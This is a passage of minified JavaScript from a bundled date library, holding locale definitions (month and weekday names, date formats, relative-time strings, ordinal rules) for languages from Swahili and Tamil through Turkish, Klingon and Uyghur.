timmar",d:"en dag",dd:"%d dagar",M:"en månad",MM:"%d månader",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}(\:e|\:a)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?":e":1===t||2===t?":a":":e")},week:{dow:1,doy:4}})}(n(381))},1172:function(e,t,n){!function(e){"use strict";e.defineLocale("sw",{months:"Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des".split("_"),weekdays:"Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi".split("_"),weekdaysShort:"Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos".split("_"),weekdaysMin:"J2_J3_J4_J5_Al_Ij_J1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"hh:mm A",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[leo saa] LT",nextDay:"[kesho saa] LT",nextWeek:"[wiki ijayo] dddd [saat] LT",lastDay:"[jana] LT",lastWeek:"[wiki iliyopita] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s baadaye",past:"tokea %s",s:"hivi punde",ss:"sekunde %d",m:"dakika moja",mm:"dakika %d",h:"saa limoja",hh:"masaa %d",d:"siku moja",dd:"siku %d",M:"mwezi mmoja",MM:"miezi %d",y:"mwaka mmoja",yy:"miaka %d"},week:{dow:1,doy:7}})}(n(381))},7333:function(e,t,n){!function(e){"use strict";var t={1:"௧",2:"௨",3:"௩",4:"௪",5:"௫",6:"௬",7:"௭",8:"௮",9:"௯",0:"௦"},n={"௧":"1","௨":"2","௩":"3","௪":"4","௫":"5","௬":"6","௭":"7","௮":"8","௯":"9","௦":"0"};e.defineLocale("ta",{months:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),monthsShort:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),weekdays:"ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை".split("_"),weekdaysShort:"ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி".split("_"),weekdaysMin:"ஞா_தி_செ_பு_வி_வெ_ச".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, HH:mm",LLLL:"dddd, D MMMM YYYY, HH:mm"},calendar:{sameDay:"[இன்று] LT",nextDay:"[நாளை] LT",nextWeek:"dddd, LT",lastDay:"[நேற்று] LT",lastWeek:"[கடந்த வாரம்] dddd, LT",sameElse:"L"},relativeTime:{future:"%s இல்",past:"%s முன்",s:"ஒரு சில விநாடிகள்",ss:"%d விநாடிகள்",m:"ஒரு நிமிடம்",mm:"%d நிமிடங்கள்",h:"ஒரு மணி நேரம்",hh:"%d மணி நேரம்",d:"ஒரு நாள்",dd:"%d நாட்கள்",M:"ஒரு மாதம்",MM:"%d மாதங்கள்",y:"ஒரு வருடம்",yy:"%d ஆண்டுகள்"},dayOfMonthOrdinalParse:/\d{1,2}வது/,ordinal:function(e){return e+"வது"},preparse:function(e){return e.replace(/[௧௨௩௪௫௬௭௮௯௦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/,meridiem:function(e,t,n){return e<2?" யாமம்":e<6?" வைகறை":e<10?" காலை":e<14?" நண்பகல்":e<18?" எற்பாடு":e<22?" மாலை":" யாமம்"},meridiemHour:function(e,t){return 12===e&&(e=0),"யாமம்"===t?e<2?e:e+12:"வைகறை"===t||"காலை"===t||"நண்பகல்"===t&&e>=10?e:e+12},week:{dow:0,doy:6}})}(n(381))},3110:function(e,t,n){!function(e){"use strict";e.defineLocale("te",{months:"జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జులై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్".split("_"),monthsShort:"జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జులై_ఆగ._సెప్._అక్టో._నవ._డిసె.".split("_"),monthsParseExact:!0,weekdays:"ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం".split("_"),weekdaysShort:"ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని".split("_"),weekdaysMin:"ఆ_సో_మం_బు_గు_శు_శ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[నేడు] LT",nextDay:"[రేపు] LT",nextWeek:"dddd, LT",lastDay:"[నిన్న] LT",lastWeek:"[గత] dddd, LT",sameElse:"L"},relativeTime:{future:"%s లో",past:"%s క్రితం",s:"కొన్ని క్షణాలు",ss:"%d సెకన్లు",m:"ఒక నిమిషం",mm:"%d నిమిషాలు",h:"ఒక గంట",hh:"%d గంటలు",d:"ఒక రోజు",dd:"%d రోజులు",M:"ఒక నెల",MM:"%d నెలలు",y:"ఒక సంవత్సరం",yy:"%d సంవత్సరాలు"},dayOfMonthOrdinalParse:/\d{1,2}వ/,ordinal:"%dవ",meridiemParse:/రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/,meridiemHour:function(e,t){return 12===e&&(e=0),"రాత్రి"===t?e<4?e:e+12:"ఉదయం"===t?e:"మధ్యాహ్నం"===t?e>=10?e:e+12:"సాయంత్రం"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"రాత్రి":e<10?"ఉదయం":e<17?"మధ్యాహ్నం":e<20?"సాయంత్రం":"రాత్రి"},week:{dow:0,doy:6}})}(n(381))},2095:function(e,t,n){!function(e){"use strict";e.defineLocale("tet",{months:"Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru".split("_"),monthsShort:"Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"),weekdays:"Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu".split("_"),weekdaysShort:"Dom_Seg_Ters_Kua_Kint_Sest_Sab".split("_"),weekdaysMin:"Do_Seg_Te_Ku_Ki_Ses_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Ohin iha] LT",nextDay:"[Aban iha] LT",nextWeek:"dddd [iha] LT",lastDay:"[Horiseik iha] LT",lastWeek:"dddd [semana kotuk] [iha] LT",sameElse:"L"},relativeTime:{future:"iha %s",past:"%s liuba",s:"segundu balun",ss:"segundu %d",m:"minutu ida",mm:"minutu %d",h:"oras ida",hh:"oras %d",d:"loron ida",dd:"loron %d",M:"fulan ida",MM:"fulan %d",y:"tinan ida",yy:"tinan %d"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(381))},7321:function(e,t,n){!function(e){"use strict";var t={0:"-ум",1:"-ум",2:"-юм",3:"-юм",4:"-ум",5:"-ум",6:"-ум",7:"-ум",8:"-ум",9:"-ум",10:"-ум",12:"-ум",13:"-ум",20:"-ум",30:"-юм",40:"-ум",50:"-ум",60:"-ум",70:"-ум",80:"-ум",90:"-ум",100:"-ум"};e.defineLocale("tg",{months:{format:"январи_феврали_марти_апрели_майи_июни_июли_августи_сентябри_октябри_ноябри_декабри".split("_"),standalone:"январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_")},monthsShort:"янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"),weekdays:"якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе".split("_"),weekdaysShort:"яшб_дшб_сшб_чшб_пшб_ҷум_шнб".split("_"),weekdaysMin:"яш_дш_сш_чш_пш_ҷм_шб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Имрӯз соати] LT",nextDay:"[Фардо соати] LT",lastDay:"[Дирӯз соати] LT",nextWeek:"dddd[и] [ҳафтаи оянда соати] LT",lastWeek:"dddd[и] [ҳафтаи гузашта соати] LT",sameElse:"L"},relativeTime:{future:"баъди %s",past:"%s пеш",s:"якчанд сония",m:"як дақиқа",mm:"%d дақиқа",h:"як соат",hh:"%d соат",d:"як рӯз",dd:"%d рӯз",M:"як моҳ",MM:"%d моҳ",y:"як сол",yy:"%d сол"},meridiemParse:/шаб|субҳ|рӯз|бегоҳ/,meridiemHour:function(e,t){return 12===e&&(e=0),"шаб"===t?e<4?e:e+12:"субҳ"===t?e:"рӯз"===t?e>=11?e:e+12:"бегоҳ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"шаб":e<11?"субҳ":e<16?"рӯз":e<19?"бегоҳ":"шаб"},dayOfMonthOrdinalParse:/\d{1,2}-(ум|юм)/,ordinal:function(e){var n=e%10,r=e>=100?100:null;return e+(t[e]||t[n]||t[r])},week:{dow:1,doy:7}})}(n(381))},9041:function(e,t,n){!function(e){"use strict";e.defineLocale("th",{months:"มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม".split("_"),monthsShort:"ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.".split("_"),monthsParseExact:!0,weekdays:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์".split("_"),weekdaysShort:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์".split("_"),weekdaysMin:"อา._จ._อ._พ._พฤ._ศ._ส.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY เวลา H:mm",LLLL:"วันddddที่ D MMMM YYYY เวลา H:mm"},meridiemParse:/ก่อนเที่ยง|หลังเที่ยง/,isPM:function(e){return"หลังเที่ยง"===e},meridiem:function(e,t,n){return e<12?"ก่อนเที่ยง":"หลังเที่ยง"},calendar:{sameDay:"[วันนี้ เวลา] LT",nextDay:"[พรุ่งนี้ เวลา] LT",nextWeek:"dddd[หน้า เวลา] LT",lastDay:"[เมื่อวานนี้ เวลา] LT",lastWeek:"[วัน]dddd[ที่แล้ว เวลา] LT",sameElse:"L"},relativeTime:{future:"อีก %s",past:"%sที่แล้ว",s:"ไม่กี่วินาที",ss:"%d วินาที",m:"1 นาที",mm:"%d นาที",h:"1 ชั่วโมง",hh:"%d ชั่วโมง",d:"1 วัน",dd:"%d วัน",w:"1 สัปดาห์",ww:"%d สัปดาห์",M:"1 เดือน",MM:"%d เดือน",y:"1 ปี",yy:"%d ปี"}})}(n(381))},9005:function(e,t,n){!function(e){"use strict";var t={1:"'inji",5:"'inji",8:"'inji",70:"'inji",80:"'inji",2:"'nji",7:"'nji",20:"'nji",50:"'nji",3:"'ünji",4:"'ünji",100:"'ünji",6:"'njy",9:"'unjy",10:"'unjy",30:"'unjy",60:"'ynjy",90:"'ynjy"};e.defineLocale("tk",{months:"Ýanwar_Fewral_Mart_Aprel_Maý_Iýun_Iýul_Awgust_Sentýabr_Oktýabr_Noýabr_Dekabr".split("_"),monthsShort:"Ýan_Few_Mar_Apr_Maý_Iýn_Iýl_Awg_Sen_Okt_Noý_Dek".split("_"),weekdays:"Ýekşenbe_Duşenbe_Sişenbe_Çarşenbe_Penşenbe_Anna_Şenbe".split("_"),weekdaysShort:"Ýek_Duş_Siş_Çar_Pen_Ann_Şen".split("_"),weekdaysMin:"Ýk_Dş_Sş_Çr_Pn_An_Şn".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün sagat] LT",nextDay:"[ertir sagat] LT",nextWeek:"[indiki] dddd [sagat] LT",lastDay:"[düýn] LT",lastWeek:"[geçen] dddd [sagat] LT",sameElse:"L"},relativeTime:{future:"%s soň",past:"%s öň",s:"birnäçe sekunt",m:"bir minut",mm:"%d minut",h:"bir sagat",hh:"%d sagat",d:"bir gün",dd:"%d gün",M:"bir aý",MM:"%d aý",y:"bir ýyl",yy:"%d ýyl"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'unjy";var r=e%10,i=e%100-r,a=e>=100?100:null;return e+(t[r]||t[i]||t[a])}},week:{dow:1,doy:7}})}(n(381))},5768:function(e,t,n){!function(e){"use strict";e.defineLocale("tl-ph",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n(381))},9444:function(e,t,n){!function(e){"use strict";var t="pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut".split("_");function n(e){var t=e;return t=-1!==e.indexOf("jaj")?t.slice(0,-3)+"leS":-1!==e.indexOf("jar")?t.slice(0,-3)+"waQ":-1!==e.indexOf("DIS")?t.slice(0,-3)+"nem":t+" pIq"}function r(e){var t=e;return t=-1!==e.indexOf("jaj")?t.slice(0,-3)+"Hu’":-1!==e.indexOf("jar")?t.slice(0,-3)+"wen":-1!==e.indexOf("DIS")?t.slice(0,-3)+"ben":t+" ret"}function i(e,t,n,r){var i=a(e);switch(n){case"ss":return i+" lup";case"mm":return i+" tup";case"hh":return i+" rep";case"dd":return i+" jaj";case"MM":return i+" jar";case"yy":return i+" DIS"}}function a(e){var n=Math.floor(e%1e3/100),r=Math.floor(e%100/10),i=e%10,a="";return n>0&&(a+=t[n]+"vatlh"),r>0&&(a+=(""!==a?" ":"")+t[r]+"maH"),i>0&&(a+=(""!==a?" ":"")+t[i]),""===a?"pagh":a}e.defineLocale("tlh",{months:"tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’".split("_"),monthsShort:"jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’".split("_"),monthsParseExact:!0,weekdays:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysShort:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysMin:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[DaHjaj] LT",nextDay:"[wa’leS] LT",nextWeek:"LLL",lastDay:"[wa’Hu’] LT",lastWeek:"LLL",sameElse:"L"},relativeTime:{future:n,past:r,s:"puS lup",ss:i,m:"wa’ tup",mm:i,h:"wa’ rep",hh:i,d:"wa’ jaj",dd:i,M:"wa’ jar",MM:i,y:"wa’ DIS",yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},2397:function(e,t,n){!function(e){"use strict";var t={1:"'inci",5:"'inci",8:"'inci",70:"'inci",80:"'inci",2:"'nci",7:"'nci",20:"'nci",50:"'nci",3:"'üncü",4:"'üncü",100:"'üncü",6:"'ncı",9:"'uncu",10:"'uncu",30:"'uncu",60:"'ıncı",90:"'ıncı"};e.defineLocale("tr",{months:"Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık".split("_"),monthsShort:"Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara".split("_"),weekdays:"Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi".split("_"),weekdaysShort:"Paz_Pts_Sal_Çar_Per_Cum_Cts".split("_"),weekdaysMin:"Pz_Pt_Sa_Ça_Pe_Cu_Ct".split("_"),meridiem:function(e,t,n){return e<12?n?"öö":"ÖÖ":n?"ös":"ÖS"},meridiemParse:/öö|ÖÖ|ös|ÖS/,isPM:function(e){return"ös"===e||"ÖS"===e},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[yarın saat] LT",nextWeek:"[gelecek] dddd [saat] LT",lastDay:"[dün] LT",lastWeek:"[geçen] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s önce",s:"birkaç saniye",ss:"%d saniye",m:"bir dakika",mm:"%d dakika",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",w:"bir hafta",ww:"%d hafta",M:"bir ay",MM:"%d ay",y:"bir yıl",yy:"%d yıl"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'ıncı";var r=e%10,i=e%100-r,a=e>=100?100:null;return e+(t[r]||t[i]||t[a])}},week:{dow:1,doy:7}})}(n(381))},8254:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={s:["viensas secunds","'iensas secunds"],ss:[e+" secunds",e+" secunds"],m:["'n míut","'iens míut"],mm:[e+" míuts",e+" míuts"],h:["'n þora","'iensa þora"],hh:[e+" þoras",e+" þoras"],d:["'n ziua","'iensa ziua"],dd:[e+" ziuas",e+" ziuas"],M:["'n mes","'iens mes"],MM:[e+" mesen",e+" mesen"],y:["'n ar","'iens ar"],yy:[e+" ars",e+" ars"]};return r||t?i[n][0]:i[n][1]}e.defineLocale("tzl",{months:"Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar".split("_"),monthsShort:"Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec".split("_"),weekdays:"Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi".split("_"),weekdaysShort:"Súl_Lún_Mai_Már_Xhú_Vié_Sát".split("_"),weekdaysMin:"Sú_Lú_Ma_Má_Xh_Vi_Sá".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"D. MMMM [dallas] YYYY",LLL:"D. MMMM [dallas] YYYY HH.mm",LLLL:"dddd, [li] D. MMMM [dallas] YYYY HH.mm"},meridiemParse:/d\'o|d\'a/i,isPM:function(e){return"d'o"===e.toLowerCase()},meridiem:function(e,t,n){return e>11?n?"d'o":"D'O":n?"d'a":"D'A"},calendar:{sameDay:"[oxhi à] LT",nextDay:"[demà à] LT",nextWeek:"dddd [à] LT",lastDay:"[ieiri à] LT",lastWeek:"[sür el] dddd [lasteu à] LT",sameElse:"L"},relativeTime:{future:"osprei %s",past:"ja%s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},699:function(e,t,n){!function(e){"use strict";e.defineLocale("tzm-latn",{months:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),monthsShort:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),weekdays:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysShort:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysMin:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[asdkh g] LT",nextDay:"[aska g] LT",nextWeek:"dddd [g] LT",lastDay:"[assant g] LT",lastWeek:"dddd [g] LT",sameElse:"L"},relativeTime:{future:"dadkh s yan %s",past:"yan %s",s:"imik",ss:"%d imik",m:"minuḍ",mm:"%d minuḍ",h:"saɛa",hh:"%d tassaɛin",d:"ass",dd:"%d ossan",M:"ayowr",MM:"%d iyyirn",y:"asgas",yy:"%d isgasn"},week:{dow:6,doy:12}})}(n(381))},1106:function(e,t,n){!function(e){"use strict";e.defineLocale("tzm",{months:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),monthsShort:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),weekdays:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysShort:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysMin:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ⴰⵙⴷⵅ ⴴ] LT",nextDay:"[ⴰⵙⴽⴰ ⴴ] LT",nextWeek:"dddd [ⴴ] LT",lastDay:"[ⴰⵚⴰⵏⵜ ⴴ] LT",lastWeek:"dddd [ⴴ] LT",sameElse:"L"},relativeTime:{future:"ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s",past:"ⵢⴰⵏ %s",s:"ⵉⵎⵉⴽ",ss:"%d ⵉⵎⵉⴽ",m:"ⵎⵉⵏⵓⴺ",mm:"%d ⵎⵉⵏⵓⴺ",h:"ⵙⴰⵄⴰ",hh:"%d ⵜⴰⵙⵙⴰⵄⵉⵏ",d:"ⴰⵙⵙ",dd:"%d oⵙⵙⴰⵏ",M:"ⴰⵢoⵓⵔ",MM:"%d ⵉⵢⵢⵉⵔⵏ",y:"ⴰⵙⴳⴰⵙ",yy:"%d ⵉⵙⴳⴰⵙⵏ"},week:{dow:6,doy:12}})}(n(381))},9288:function(e,t,n){!function(e){"use strict";e.defineLocale("ug-cn",{months:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),monthsShort:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),weekdays:"يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە".split("_"),weekdaysShort:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),weekdaysMin:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY-يىلىM-ئاينىڭD-كۈنى",LLL:"YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm",LLLL:"dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm"},meridiemParse:/يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/,meridiemHour:function(e,t){return 12===e&&(e=0),"يېرىم كېچە"===t||"سەھەر"===t||"چۈشتىن بۇرۇن"===t?e:"چۈشتىن كېيىن"===t||"كەچ"===t?e+12:e>=11?e:e+12},meridiem:function(e,t,n){var r=100*e+t;return r<600?"يېرىم كېچە":r<900?"سەھەر":r<1130?"چۈشتىن بۇرۇن":r<1230?"چۈش":r<1800?"چۈشتىن كېيىن":"كەچ"},calendar:{sameDay:"[بۈگۈن سائەت] LT",nextDay:"[ئەتە سائەت] LT",nextWeek:"[كېلەركى] dddd [سائەت] LT",lastDay:"[تۆنۈگۈن] LT",lastWeek:"[ئالدىنقى] dddd [سائەت] LT",sameElse:"L"},relativeTime:{future:"%s كېيىن",past:"%s بۇرۇن",s:"نەچچە سېكونت",ss:"%d سېكونت",m:"بىر مىنۇت",mm:"%d مىنۇت",h:"بىر سائەت",hh:"%d سائەت",d:"بىر كۈن",dd:"%d كۈن",M:"بىر ئاي",MM:"%d ئاي",y:"بىر يىل",yy:"%d يىل"},dayOfMonthOrdinalParse:/\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"-كۈنى";case"w":case"W":return e+"-ھەپتە";default:return e}},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:7}})}(n(381))},7691:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,r){return"m"===r?n?"хвилина":"хвилину":"h"===r?n?"година":"годину":e+" "+t({ss:n?"секунда_секунди_секунд":"секунду_секунди_секунд",mm:n?"хвилина_хвилини_хвилин":"хвилину_хвилини_хвилин",hh:n?"година_години_годин":"годину_години_годин",dd:"день_дні_днів",MM:"місяць_місяці_місяців",yy:"рік_роки_років"}[r],+e)}function r(e,t){var 